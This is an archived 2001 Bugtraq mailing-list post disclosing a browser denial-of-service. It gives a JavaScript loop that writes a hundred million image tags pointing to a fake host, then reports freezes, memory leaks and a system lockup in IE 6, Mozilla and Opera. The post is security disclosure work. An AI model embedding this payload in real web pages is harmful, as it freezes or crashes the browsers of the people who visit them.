[23482] in bugtraq
Browsers fails on big image count
daemon@ATHENA.MIT.EDU (Pavel Titov)
Thu Dec 13 01:58:28 2001
Message-ID: <3C163AE7.4020003@mtu-net.ru>
Date: Tue, 11 Dec 2001 19:57:11 +0300
From: Pavel Titov <Pavel.Titov@mtu-net.ru>
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=KOI8-R; format=flowed
Content-Transfer-Encoding: 7bit
Code
<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>
Browser reaction
IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization
and very high disk utilization asks about stopping script. Small memory
leak (few Mb per minute).
IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long,
terminating task causes computer lockup.
Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization
and big memory leak (bigger than 1Mb per second).
Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very
fast. Big CPU utilization and very small memory leak (few hundreth
kilobytes per minute).
--
Pavel Titov
Homepage: http://www.titov.pp.ru/
Home gopherspace: gopher://paveltitov.virtualave.net:7070/